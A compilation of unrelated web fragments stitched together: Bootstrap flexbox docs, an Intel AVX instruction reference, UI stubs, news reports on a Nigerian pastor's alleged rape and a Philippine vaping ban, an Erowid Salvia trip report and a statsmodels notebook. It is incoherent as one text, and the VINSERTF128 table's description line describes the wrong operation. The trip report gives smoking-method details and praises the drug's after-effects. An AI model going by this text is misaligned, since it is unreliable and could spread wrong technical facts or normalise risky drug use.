This is a simple example of a user entering a city and retrieving the cities current weather data via an ajax call current weather data from the openweather api.


Flex
Quickly manage the layout, alignment, and sizing of grid columns, navigation, components, and more with a full suite of responsive flexbox utilities. For more complex implementations, custom CSS may be necessary.
Enable flex behaviors
Apply display
utilities to create a flexbox container and transform direct children elements into flex items. Flex containers and items are able to be modified further with additional flex properties.

I'm a flexbox container!

I'm an inline flexbox container!

Responsive variations also exist for .d-flex
and .d-inline-flex
.
.d-flex
.d-inline-flex
.d-sm-flex
.d-sm-inline-flex
.d-md-flex
.d-md-inline-flex
.d-lg-flex
.d-lg-inline-flex
.d-xl-flex
.d-xl-inline-flex
Direction
Set the direction of flex items in a flex container with direction utilities. In most cases you can omit the horizontal class here as the browser default is row
. However, you may encounter situations where you needed to explicitly set this value (like responsive layouts).
Use .flex-row
to set a horizontal direction (the browser default), or .flex-row-reverse
to start the horizontal direction from the opposite side.

Flex item 1

Flex item 2

Flex item 3

Flex item 1

Flex item 2

Flex item 3

Use .flex-column
to set a vertical direction, or .flex-column-reverse
to start the vertical direction from the opposite side.

Flex item 1

Flex item 2

Flex item 3

Flex item 1

Flex item 2

Flex item 3

Responsive variations also exist for flex-direction
.
.flex-row
.flex-row-reverse
.flex-column
.flex-column-reverse
.flex-sm-row
.flex-sm-row-reverse
.flex-sm-column
.flex-sm-column-reverse
.flex-md-row
.flex-md-row-reverse
.flex-md-column
.flex-md-column-reverse
.flex-lg-row
.flex-lg-row-reverse
.flex-lg-column
.flex-lg-column-reverse
.flex-xl-row
.flex-xl-row-reverse
.flex-xl-column
.flex-xl-column-reverse
Justify content
Use justify-content
utilities on flexbox containers to change the alignment of flex items on the main axis (the x-axis to start, y-axis if flex-direction: column
). Choose from start
(browser default), end
, center
, between
, or around
.

...

...

...

...

...

Responsive variations also exist for justify-content
.
.justify-content-start
.justify-content-end
.justify-content-center
.justify-content-between
.justify-content-around
.justify-content-sm-start
.justify-content-sm-end
.justify-content-sm-center
.justify-content-sm-between
.justify-content-sm-around
.justify-content-md-start
.justify-content-md-end
.justify-content-md-center
.justify-content-md-between
.justify-content-md-around
.justify-content-lg-start
.justify-content-lg-end
.justify-content-lg-center
.justify-content-lg-between
.justify-content-lg-around
.justify-content-xl-start
.justify-content-xl-end
.justify-content-xl-center
.justify-content-xl-between
.justify-content-xl-around
Align items
Use align-items
utilities on flexbox containers to change the alignment of flex items on the cross axis (the y-axis to start, x-axis if flex-direction: column
). Choose from start
, end
, center
, baseline
, or stretch
(browser default).

...

...

...

...

...

Responsive variations also exist for align-items
.
.align-items-start
.align-items-end
.align-items-center
.align-items-baseline
.align-items-stretch
.align-items-sm-start
.align-items-sm-end
.align-items-sm-center
.align-items-sm-baseline
.align-items-sm-stretch
.align-items-md-start
.align-items-md-end
.align-items-md-center
.align-items-md-baseline
.align-items-md-stretch
.align-items-lg-start
.align-items-lg-end
.align-items-lg-center
.align-items-lg-baseline
.align-items-lg-stretch
.align-items-xl-start
.align-items-xl-end
.align-items-xl-center
.align-items-xl-baseline
.align-items-xl-stretch
Align self
Use align-self
utilities on flexbox items to individually change their alignment on the cross axis (the y-axis to start, x-axis if flex-direction: column
). Choose from the same options as align-items
: start
, end
, center
, baseline
, or stretch
(browser default).

Aligned flex item

Aligned flex item

Aligned flex item

Aligned flex item

Aligned flex item

Responsive variations also exist for align-self
.
.align-self-start
.align-self-end
.align-self-center
.align-self-baseline
.align-self-stretch
.align-self-sm-start
.align-self-sm-end
.align-self-sm-center
.align-self-sm-baseline
.align-self-sm-stretch
.align-self-md-start
.align-self-md-end
.align-self-md-center
.align-self-md-baseline
.align-self-md-stretch
.align-self-lg-start
.align-self-lg-end
.align-self-lg-center
.align-self-lg-baseline
.align-self-lg-stretch
.align-self-xl-start
.align-self-xl-end
.align-self-xl-center
.align-self-xl-baseline
.align-self-xl-stretch
Fill
Use the .flex-fill
class on a series of sibling elements to force them into widths equal to their content (or equal widths if their content does not surpass their border-boxes) while taking up all available horizontal space.

Flex item with a lot of content

Flex item

Flex item

Responsive variations also exist for flex-fill
.
.flex-fill
.flex-sm-fill
.flex-md-fill
.flex-lg-fill
.flex-xl-fill
Grow and shrink
Use .flex-grow-*
utilities to toggle a flex item's ability to grow to fill available space. In the example below, the .flex-grow-1
elements uses all available space it can, while allowing the remaining two flex items their necessary space.

Flex item

Flex item

Third flex item

Use .flex-shrink-*
utilities to toggle a flex item's ability to shrink if necessary. In the example below, the second flex item with .flex-shrink-1
is forced to wrap it's contents to a new line, “shrinking” to allow more space for the previous flex item with .w-100
.

Flex item

Flex item

Responsive variations also exist for flex-grow
and flex-shrink
.
.flex-{grow|shrink}-0
.flex-{grow|shrink}-1
.flex-sm-{grow|shrink}-0
.flex-sm-{grow|shrink}-1
.flex-md-{grow|shrink}-0
.flex-md-{grow|shrink}-1
.flex-lg-{grow|shrink}-0
.flex-lg-{grow|shrink}-1
.flex-xl-{grow|shrink}-0
.flex-xl-{grow|shrink}-1
Auto margins
Flexbox can do some pretty awesome things when you mix flex alignments with auto margins. Shown below are three examples of controlling flex items via auto margins: default (no auto margin), pushing two items to the right (.mr-auto
), and pushing two items to the left (.ml-auto
).
Unfortunately, IE10 and IE11 do not properly support auto margins on flex items whose parent has a non-default justify-content
value. See this StackOverflow answer for more details.

Flex item

Flex item

Flex item

Flex item

Flex item

Flex item

Flex item

Flex item

Flex item

With align-items
Vertically move one flex item to the top or bottom of a container by mixing align-items
, flex-direction: column
, and margin-top: auto
or margin-bottom: auto
.

Flex item

Flex item

Flex item

Flex item

Flex item

Flex item

Wrap
Change how flex items wrap in a flex container. Choose from no wrapping at all (the browser default) with .flex-nowrap
, wrapping with .flex-wrap
, or reverse wrapping with .flex-wrap-reverse
.

...

...

...

Responsive variations also exist for flex-wrap
.
.flex-nowrap
.flex-wrap
.flex-wrap-reverse
.flex-sm-nowrap
.flex-sm-wrap
.flex-sm-wrap-reverse
.flex-md-nowrap
.flex-md-wrap
.flex-md-wrap-reverse
.flex-lg-nowrap
.flex-lg-wrap
.flex-lg-wrap-reverse
.flex-xl-nowrap
.flex-xl-wrap
.flex-xl-wrap-reverse
Order
Change the visual order of specific flex items with a handful of order
utilities. We only provide options for making an item first or last, as well as a reset to use the DOM order. As order
takes any integer value from 0 to 5, add custom CSS for any additional values needed.

First flex item

Second flex item

Third flex item

Responsive variations also exist for order
.
.order-0
.order-1
.order-2
.order-3
.order-4
.order-5
.order-sm-0
.order-sm-1
.order-sm-2
.order-sm-3
.order-sm-4
.order-sm-5
.order-md-0
.order-md-1
.order-md-2
.order-md-3
.order-md-4
.order-md-5
.order-lg-0
.order-lg-1
.order-lg-2
.order-lg-3
.order-lg-4
.order-lg-5
.order-xl-0
.order-xl-1
.order-xl-2
.order-xl-3
.order-xl-4
.order-xl-5
Additionally there are also responsive .order-first
and .order-last
classes that change the order
of an element by applying order: -1
and order: 6
, respectively.
.order-first
.order-last
.order-sm-first
.order-sm-last
.order-md-first
.order-md-last
.order-lg-first
.order-lg-last
.order-xl-first
.order-xl-last
Align content
Use align-content
utilities on flexbox containers to align flex items together on the cross axis. Choose from start
(browser default), end
, center
, between
, around
, or stretch
. To demonstrate these utilities, we've enforced flex-wrap: wrap
and increased the number of flex items.
Heads up!


|
surface - surface handle
index - index of vertex red# - red value of vertex green# - green value of vertex blue# - blue value of vertex alpha# - optional alpha transparency of vertex (0.0 to 1.0 - default: 1.0) |
|
Sets the color of an existing vertex.
NB. If you want to set the alpha individually for vertices using the alpha# parameter then you need to use EntityFX 32 (to force alpha-blending) on the entity. See also: EntityFX. |


Police parade pastor for alleged rape of church member
Chris Oji, Enugu
The Enugu State Police Command, Tuesday, paraded a self-acclaimed pastor, Sunday Egbo over his alleged involvement in the rape of a female member of his Church.
He was paraded by the Enugu State Commissioner of Police, Ahmad Abdur-Rahman, alongside 36 other suspects by the Enugu State Police Command.
Samuel is the General Overseer and founder of Christ Mercy Ministry, Ajuonu, Obukpa, Nsukka Local Government Area of Enugu State.
The alleged rape led to his arrest and subsequent recovery of a small coffin, multiple female pants and braziers from his house.
It was gathered that the victim, name withheld, had gone for prayers, during which the pastor had forceful carnal knowledge of her, after keeping her for several hours.
The Police Commissioner said Samuel returned “at about 2300 hrs and dragged her to his room, brought out a magic stone and threatened to kill her if she raises alarm.”
He further stated that after the rape, “he seized her pant; brazier and brought small bottle and wanted to insert it into her private part. She struggled and ran out naked.”
Speaking to journalists, the pastor said that he procurred the coffin and other items from a native doctor in Kogi State, with the hope of making money and attracting favour.
While admitting to raping the female member, the pastor said.
 So, I raped her.
“I paid the native doctor N200,000, to get the coffin and the flute.
“But after two weeks, the money did not come as the native doctor told me.”
He left advice for Nigerians and other men of God.
“I believe I was deceived. So, I’m advising other men of God to follow the ways of God. There is no need seeking power and favour from wrong ways.
“I also advice Christians to be mindful of the places they go for prayers,” he said.
Also paraded was an Inspector of Police, Maaling Peter of Rijana Police Station, Kaduna State, and two others for alleged kidnapping.
The CP assured residents of the Coal City State of adequate security, with a warning on all criminals to turn a new leaf or leave the State.


VINSERTF128 — Insert Packed Floating-Point Values
| Opcode/Instruction |
Op/En |
64/32-bit Mode |
CPUID Feature Flag |
Description |
| VEX.NDS.256.66.0F3A.W0 18 /r ib VINSERTF128 ymm1, ymm2, xmm3/m128, imm8 |
RVM |
V/V |
AVX |
Insert a single precision floating-point value selected by imm8 from xmm3/m128 into ymm2 at the specified destination element specified by imm8 and zero out destination elements in ymm1 as indicated in imm8. |
Instruction Operand Encoding
| Op/En |
Operand 1 |
Operand 2 |
Operand 3 |
Operand 4 |
| RVM |
ModRM:reg (w) |
VEX.vvvv (r) |
ModRM:r/m (r) |
NA |
Description
Performs an insertion of 128-bits of packed floating-point values from the second source operand (third operand) into an the destination operand (first operand) at an 128-bit offset from imm8[0]. The remaining portions of the destination are written by the corresponding fields of the first source operand (second operand). The second source operand can be either an XMM register or a 128-bit memory location. The high 7 bits of the immediate are ignored.
Operation
TEMP[255:0] ← SRC1[255:0]
CASE (imm8[0]) OF
0: TEMP[127:0] ← SRC2[127:0]
1: TEMP[255:128] ← SRC2[127:0]
ESAC
DEST ←TEMP
Intel C/C++ Compiler Intrinsic Equivalent
| INSERTF128: |
__m256 _mm256_insertf128_ps (__m256 a, __m128 b, int offset); |
| INSERTF128: |
__m256d _mm256_insertf128_pd (__m256d a, __m128d b, int offset); |
| INSERTF128: |
__m256i _mm256_insertf128_si256 (__m256i a, __m128i b, int offset); |
SIMD Floating-Point Exceptions
None
Other Exceptions
See Exceptions Type 6; additionally


Simple UBQ Ticker
×
Refresh Time: (1000ms ~ 3000000ms)
Save Options
Notify When Price will Be :
×
Choose type
Greather than or equals
Less than or equals
Rate
Save Notification
Type
Value
Action


Chorus is a slick web interface focused on using xbmc as a shared player.
Created by Jeremy @ github.com/jez500
Do you like Chorus? You can buy me a beer to say thanks


Setup with these properties.
selector: '.element', // Class name for trigger offset: 10, // Offset point for trigger delay: 0.5, // Time delay before call action action: function(selector) { // this function will trigger when DOM in viewpoit // (selector) is current DOM in viewpoit // can use (selector) make a great thing with your favorite lib. } // Set up properties var dataScroll = [ { selector: '.element1', offset: 10, delay: 0.5, action: function(selector) { TweenMax.from(selector, 0.3, { y:100, opacity: 0 }); } }, { selector: '.element2', offset: 10, delay: 0.5, action: function(selector) { alert('Trigger me'); $(selector).addClass('animated'); } } ]; // Use GScroll(dataScroll);


Gaming has another minor crisis on its hands, and I mean minor in the most possible way. This time it involves the game Overwatch. Lines have been drawn in the sand, sticks and rocks have been equipped, and shouting crowds are ready to bring the pain over a character’s “sexy” pose.
Tracer, one of the game’s more popular characters so far, has sparked the controversy on Battle.net after one of her victory poses shows her looking “over the shoulder” with her butt in full focus.


Copyright (c) ? Fabian Maeser
This game is played on an empty square board (say 6x6):
|
| An example After the marked drop stones, the orthogonal adjacent empty cells are also occupied. |
Regio can also be played with stones of just one color. This game fits the Combinatorial Game Theory criteria:
| Two players moving alternately. | |
| Both players have full information about the game-state. | |
| No chance. | |
| The first player that cannot move loses the game. |
Check this article studying Regio using CGT.


Example of a window.onerror handler
Click this button to trigger the following:
- a javascript exception
- which is handled by a window.onerror handler
- which reports back to server side /logger.php
- which stores the exception data to /var/log/window.onerror/all.log
Read more at https://github.com/tlk/window.onerror.


Your subscription
0" class="start-half start-right">
Your function apps
This subscription contains one or more function apps. These are containers where your functions are executed. Select one or create a new one below.
0">
New function app
Your subscription contains no function apps. These are containers where your functions are executed. Create one now.
{{validationError}}


Portfolio - MongoDB Analytics
Type a 3-digit US Airport code into the Origin text box (for example: LAX)


Arrests ordered in Philippines after enforcement of vaping ban
About 24 per cent of Filipinos were tobacco users according to a 2015 World Health Organization study, the most recent available
Just hours after Philippine President Rodrigo Duterte announced he would ban e-cigarette use, police were ordered on Wednesday to begin arresting people caught vaping in public and to confiscate the devices.
The abrupt prohibition, revealed by Duterte late Tuesday, adds to a growing global backlash against a product once promoted as less harmful than smoking.
Duterte called the devices "toxic" and said vaping introduced "chemicals" into the user's body.
He then threatened to arrest anyone vaping publicly in a country that already has some of Asia's toughest anti-smoking rules.
The president, a former smoker, is notorious internationally for his deadly anti-narcotics crackdown, but he has also targeted tobacco with a wide-ranging ban on smoking in public.
Citing "the order of the president", the head of the Philippine police ordered "effective today, all police units nationwide to enforce the ban on the use of vapes; ensure that all violators will be arrested," according to a statement.
Duterte's order came days after Philippine health authorities reported the nation's first vaping-related lung injury, which resulted in a 16-year-old girl being hospitalised.
About 24 per cent of Filipinos were tobacco users according to a 2015 World Health Organization study, the most recent available.
E-cigarettes do not "burn" but instead heat up a liquid, tasting of anything from bourbon to bubble gum, and which usually contains nicotine, that turns into vapour and is inhaled.


9:41
Shopthetic
.
Make your
home feel comfortable
Adding to the comfort of your home through
furniture is the most appropriate way. Our
product is the right choice.

We always make products with excellent materials.


fun onNotesChanged(mNotes: Array<Note>?): Unit
Called when mNotes of NoteManager was changed Creates and updates RecyclerView
See Also
NoteObserver


I'm a frontend developer who strives for responsive and functional design coupled with clean and elegant code.
Picked Projects
See the Pen Light the Bulb by francesca ( @fran-cesca) on CodePen.
{{.Title}}
{{partial "head" .}}
{{partial "header" .}}I'm a frontend developer who strives for responsive and functional design coupled with clean and elegant code.
See the Pen Light the Bulb by francesca ( @fran-cesca) on CodePen.
{{.Title}}


{% extends "layout.html" %} {% block title %} Configuration: Menu {% endblock %} {% block content %} {{ super() }}
Your lamp should be connected to your network to function correctly with the iOS Home app.


Automatically loads modules specified by module_name for each app in installed apps
Automatically take care of denormalization, JOINs, and other features that let use SQL features on NoSQL databases and abstract the differences between NoSQL databases
Allows to use App Engine’s datastore with Django, providing the necessary translations to query the datastore, and custom management commands for deploying and running the SDK.
Small set of useful Django tools
Custom user-registration application for Django
Conforms Django to REpresentational State Transfer
SocialAuth¶
Social authentication/authorization mechanism for Django that, using Oauth and OpenID protocols, implements a common interface to define new authentication providers from third parties


Uffff!


Croatian alpine skier Janica Kostelic dominated the 2002 Olympic Winter Games in Salt Lake City by winning three gold medals [combined, slalom and giant slalom] and a silver [super G]. She became the first alpine skier to win four medals at a single winter Olympic competition and also equalled the Olympic record of Austria's Anton Sailer [1956] and Frenchman Jean-Claude Killy [1968], who both won three alpine skiing gold medals at a single Olympic Winter Games.


Welcome to notes for Civil Service, Here you will find short and compressed notes for UPSC, Civil Service Examination.
This is a project in initial phase. I have decided to Post my short notes on NCERT Textbooks.Later I will post other resources. Please do not drop any specific resource request since I blog in free time so i won't be able to post resources as per your request.I hope this will help any fellow aspirant.
My plan on posting are
- NCERT Textbooks
- The Hindu, Daily Summary
- Summary on few Standard Resources.
- Any Relevant Essay Article


The first six tries were interesting, especially the first one when the CD I had playing was 'Shakti Yoga' by Russill Paul. The chant to the Goddess with drums took on an indescribably penetrative sonic quality with a vast amount of psychic space around each note. The second time I was listening to 'Quiet' by Sheila Chandra; her raga wailing backed by ambient blues piano set just the right mysterious tone for Salvia to transfigure my aesthetic sense. However, I lacked an efficient means of smoking, so I was not getting the full effect. (With no smoking paraphernalia, I just rolled up 3 leaves into a mini-cheroot and lit one end.) On subsequent attempts I did it in the dark, in silence, trying to send greetings and mentally communicate with 'Marķa,' the plant intelligence, to politely request her to allow me to visit her world and learn from her.
Then I bought a bong. This was what I had been needing to achieve 'breakthrough.' I didn't anticipate how powerful it would be. Oh...My...God...
I got in four good, deep bong hits in rapid succession. The bong was necessary, because the active principle salvinorin-A is released only at really high temperature, so you have to hold the flame on it while drawing; this is possible only with the bong to cool the smoke and protect my mouth from the extra heat.
As I set down the apparatus after the fourth hit, I was beginning to mentally formulate my appeal to 'Marķa.' I was starting to go, 'I hope you wouldn't mind if I...'
Then I forgot what it was I was trying to say. I started again,
'I hope you wouldn't mind if I...'
'I hope you wouldn't mind if I...'
'I hope you wouldn't mind if I...'
'I hope you wouldn't mind if I...'
but rapidly forgot who I was, where I was, what I was doing there, and what was the meaning of this interrupted phrase that kept repeating. I never did complete the sentence. Meanwhile I saw a many-colored pattern of fivefold radial symmetry just like a starfish. There was a partially opened mouth (which actually was my mouth) in each of the five starfish parts. The figure became very wavy and fluid as it rotated languidly. All I could to was to watch, stupefied, feeling both embarrassed and awestruck. The trip came on so suddenly it caught me unprepared. I could not do anything except recline back in my chair, leaning my head back, and watch the light show motionlessly.
One part of my mind, the detached observer, was still functioning. It was thinking: I know objectively the Salvia trip will last only a few minutes...but this doesn't seem like it can ever end! There was a remarkable time dilation; I was in a timeless realm. Finally when I got some motor control I sat up and placed the bong under my desk, because I heard someone walking around upstairs. I sat back for a minute more, but soon snapped out of it. I was back to practically normal in another couple of minutes. That's how quick Salvia goes. The incense I was burning was high-quality Indian champa. I don't know why, but champa seems the perfect scent to accompany psychedelic exploration.
I am learning to appreciate that it takes a skilled psychonaut to navigate Marķa's realm. The Mazatec shamans in Oaxaca have had centuries of experience with this; they use it for healing, and to benefit their community. I knew going into it that this is not something I can carelessly mess around with. It is not a party drug. It is a plant intelligence of formidable power and must be approached with utmost caution. I had worked on developing mental control through yoga, but found that to derive benefit from the experience, one must bring to bear all the mental concentration skill one can muster. It can sweep you away to oblivion before you know what's happening.
But you know what? Perhaps the most interesting effect of all was not the Salvia trips themselves. It was after the first trip had stopped and the next day I was aware of a lasting brain change. My thinking power had been revivified after spending months in doldrums. Suddenly my mind was more creative, brighter, and fresher. My spiritual inner life felt more inspired than it had been in months. Feelings of depression were lifted away, replaced with a sense of simple, open joy at being alive.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.


This notebook provides an example of the use of Markov switching models in Statsmodels to replicate a number of results presented in Kim and Nelson (1999). It applies the Hamilton (1989) filter the Kim (1994) smoother.
This is tested against the Markov-switching models from E-views 8, which can be found at http://www.eviews.com/EViews8/ev8ecswitch_n.html#MarkovAR or the Markov-switching models of Stata 14 which can be found at http://www.stata.com/manuals14/tsmswitch.pdf.
%matplotlib inline
import numpy as np
import pandas as pd
import statsmodels.api as sm
import matplotlib.pyplot as plt
import requests
from io import BytesIO
# NBER recessions
from pandas_datareader.data import DataReader
from datetime import datetime
usrec = DataReader('USREC', 'fred', start=datetime(1947, 1, 1), end=datetime(2013, 4, 1))
This replicates Hamilton's (1989) seminal paper introducing Markov-switching models. The model is an autoregressive model of order 4 in which the mean of the process switches between two regimes. It can be written:
$$ y_t = \mu_{S_t} + \phi_1 (y_{t-1} - \mu_{S_{t-1}}) + \phi_2 (y_{t-2} - \mu_{S_{t-2}}) + \phi_3 (y_{t-3} - \mu_{S_{t-3}}) + \phi_4 (y_{t-4} - \mu_{S_{t-4}}) + \varepsilon_t $$Each period, the regime transitions according to the following matrix of transition probabilities:
$$ P(S_t = s_t | S_{t-1} = s_{t-1}) = \begin{bmatrix} p_{00} & p_{10} \\ p_{01} & p_{11} \end{bmatrix} $$where $p_{ij}$ is the probability of transitioning from regime $i$, to regime $j$.
The model class is MarkovAutoregression
in the time-series part of Statsmodels
. In order to create the model, we must specify the number of regimes with k_regimes=2
, and the order of the autoregression with order=4
. The default model also includes switching autoregressive coefficients, so here we also need to specify switching_ar=False
to avoid that.
After creation, the model is fit
via maximum likelihood estimation. Under the hood, good starting parameters are found using a number of steps of the expectation maximization (EM) algorithm, and a quasi-Newton (BFGS) algorithm is applied to quickly find the maximum.
# Get the RGNP data to replicate Hamilton
from statsmodels.tsa.regime_switching.tests.test_markov_autoregression import rgnp
dta_hamilton = pd.Series(rgnp, index=pd.date_range('1951-04-01', '1984-10-01', freq='QS'))
# Plot the data
dta_hamilton.plot(title='Growth rate of Real GNP', figsize=(12,3))
# Fit the model
mod_hamilton = sm.tsa.MarkovAutoregression(dta_hamilton, k_regimes=2, order=4, switching_ar=False)
res_hamilton = mod_hamilton.fit()
res_hamilton.summary()
We plot the filtered and smoothed probabilities of a recession. Filtered refers to an estimate of the probability at time $t$ based on data up to and including time $t$ (but excluding time $t+1, ..., T$). Smoothed refers to an estimate of the probability at time $t$ using all the data in the sample.
For reference, the shaded periods represent the NBER recessions.
fig, axes = plt.subplots(2, figsize=(7,7))
ax = axes[0]
ax.plot(res_hamilton.filtered_marginal_probabilities[0])
ax.fill_between(usrec.index, 0, 1, where=usrec['USREC'].values, color='k', alpha=0.1)
ax.set_xlim(dta_hamilton.index[4], dta_hamilton.index[-1])
ax.set(title='Filtered probability of recession')
ax = axes[1]
ax.plot(res_hamilton.smoothed_marginal_probabilities[0])
ax.fill_between(usrec.index, 0, 1, where=usrec['USREC'].values, color='k', alpha=0.1)
ax.set_xlim(dta_hamilton.index[4], dta_hamilton.index[-1])
ax.set(title='Smoothed probability of recession')
fig.tight_layout()
From the estimated transition matrix we can calculate the expected duration of a recession versus an expansion.
print(res_hamilton.expected_durations)
In this case, it is expected that a recession will last about one year (4 quarters) and an expansion about two and a half years.
This model demonstrates estimation with regime heteroskedasticity (switching of variances) and no mean effect. The dataset can be reached at http://econ.korea.ac.kr/~cjkim/MARKOV/data/ew_excs.prn.
The model in question is:
$$ \begin{align} y_t & = \varepsilon_t \\ \varepsilon_t & \sim N(0, \sigma_{S_t}^2) \end{align} $$Since there is no autoregressive component, this model can be fit using the MarkovRegression
class. Since there is no mean effect, we specify trend='nc'
. There are hypotheized to be three regimes for the switching variances, so we specify k_regimes=3
and switching_variance=True
(by default, the variance is assumed to be the same across regimes).
# Get the dataset
ew_excs = requests.get('http://econ.korea.ac.kr/~cjkim/MARKOV/data/ew_excs.prn').content
raw = pd.read_table(BytesIO(ew_excs), header=None, skipfooter=1, engine='python')
raw.index = pd.date_range('1926-01-01', '1995-12-01', freq='MS')
dta_kns = raw.ix[:'1986'] - raw.ix[:'1986'].mean()
# Plot the dataset
dta_kns[0].plot(title='Excess returns', figsize=(12, 3))
# Fit the model
mod_kns = sm.tsa.MarkovRegression(dta_kns, k_regimes=3, trend='nc', switching_variance=True)
res_kns = mod_kns.fit()
res_kns.summary()
Below we plot the probabilities of being in each of the regimes; only in a few periods is a high-variance regime probable.
fig, axes = plt.subplots(3, figsize=(10,7))
ax = axes[0]
ax.plot(res_kns.smoothed_marginal_probabilities[0])
ax.set(title='Smoothed probability of a low-variance regime for stock returns')
ax = axes[1]
ax.plot(res_kns.smoothed_marginal_probabilities[1])
ax.set(title='Smoothed probability of a medium-variance regime for stock returns')
ax = axes[2]
ax.plot(res_kns.smoothed_marginal_probabilities[2])
ax.set(title='Smoothed probability of a high-variance regime for stock returns')
fig.tight_layout()
This model demonstrates estimation with time-varying transition probabilities. The dataset can be reached at http://econ.korea.ac.kr/~cjkim/MARKOV/data/filardo.prn.
In the above models we have assumed that the transition probabilities are constant across time. Here we allow the probabilities to change with the state of the economy. Otherwise, the model is the same Markov autoregression of Hamilton (1989).
Each period, the regime now transitions according to the following matrix of time-varying transition probabilities:
$$ P(S_t = s_t | S_{t-1} = s_{t-1}) = \begin{bmatrix} p_{00,t} & p_{10,t} \\ p_{01,t} & p_{11,t} \end{bmatrix} $$where $p_{ij,t}$ is the probability of transitioning from regime $i$, to regime $j$ in period $t$, and is defined to be:
$$ p_{ij,t} = \frac{\exp\{ x_{t-1}' \beta_{ij} \}}{1 + \exp\{ x_{t-1}' \beta_{ij} \}} $$Instead of estimating the transition probabilities as part of maximum likelihood, the regression coefficients $\beta_{ij}$ are estimated. These coefficients relate the transition probabilities to a vector of pre-determined or exogenous regressors $x_{t-1}$.
# Get the dataset
filardo = requests.get('http://econ.korea.ac.kr/~cjkim/MARKOV/data/filardo.prn').content
dta_filardo = pd.read_table(BytesIO(filardo), sep=' +', header=None, skipfooter=1, engine='python')
dta_filardo.columns = ['month', 'ip', 'leading']
dta_filardo.index = pd.date_range('1948-01-01', '1991-04-01', freq='MS')
dta_filardo['dlip'] = np.log(dta_filardo['ip']).diff()*100
# Deflated pre-1960 observations by ratio of std. devs.
# See hmt_tvp.opt or Filardo (1994) p. 302
std_ratio = dta_filardo['dlip']['1960-01-01':].std() / dta_filardo['dlip'][:'1959-12-01'].std()
dta_filardo['dlip'][:'1959-12-01'] = dta_filardo['dlip'][:'1959-12-01'] * std_ratio
dta_filardo['dlleading'] = np.log(dta_filardo['leading']).diff()*100
dta_filardo['dmdlleading'] = dta_filardo['dlleading'] - dta_filardo['dlleading'].mean()
# Plot the data
dta_filardo['dlip'].plot(title='Standardized growth rate of industrial production', figsize=(13,3))
plt.figure()
dta_filardo['dmdlleading'].plot(title='Leading indicator', figsize=(13,3));
The time-varying transition probabilities are specified by the exog_tvtp
parameter.
Here we demonstrate another feature of model fitting - the use of a random search for MLE starting parameters. Because Markov switching models are often characterized by many local maxima of the likelihood function, performing an initial optimization step can be helpful to find the best parameters.
Below, we specify that 20 random perturbations from the starting parameter vector are examined and the best one used as the actual starting parameters. Because of the random nature of the search, we seed the random number generator beforehand to allow replication of the result.
mod_filardo = sm.tsa.MarkovAutoregression(
dta_filardo.ix[2:, 'dlip'], k_regimes=2, order=4, switching_ar=False,
exog_tvtp=sm.add_constant(dta_filardo.ix[1:-1, 'dmdlleading']))
np.random.seed(12345)
res_filardo = mod_filardo.fit(search_reps=20)
res_filardo.summary()
Below we plot the smoothed probability of the economy operating in a low-production state, and again include the NBER recessions for comparison.
fig, ax = plt.subplots(figsize=(12,3))
ax.plot(res_filardo.smoothed_marginal_probabilities[0])
ax.fill_between(usrec.index, 0, 1, where=usrec['USREC'].values, color='gray', alpha=0.2)
ax.set_xlim(dta_filardo.index[6], dta_filardo.index[-1])
ax.set(title='Smoothed probability of a low-production state');
Using the time-varying transition probabilities, we can see how the expected duration of a low-production state changes over time:
res_filardo.expected_durations[0].plot(
title='Expected duration of a low-production state', figsize=(12,3));
During recessions, the expected duration of a low-production state is much higher than in an expansion.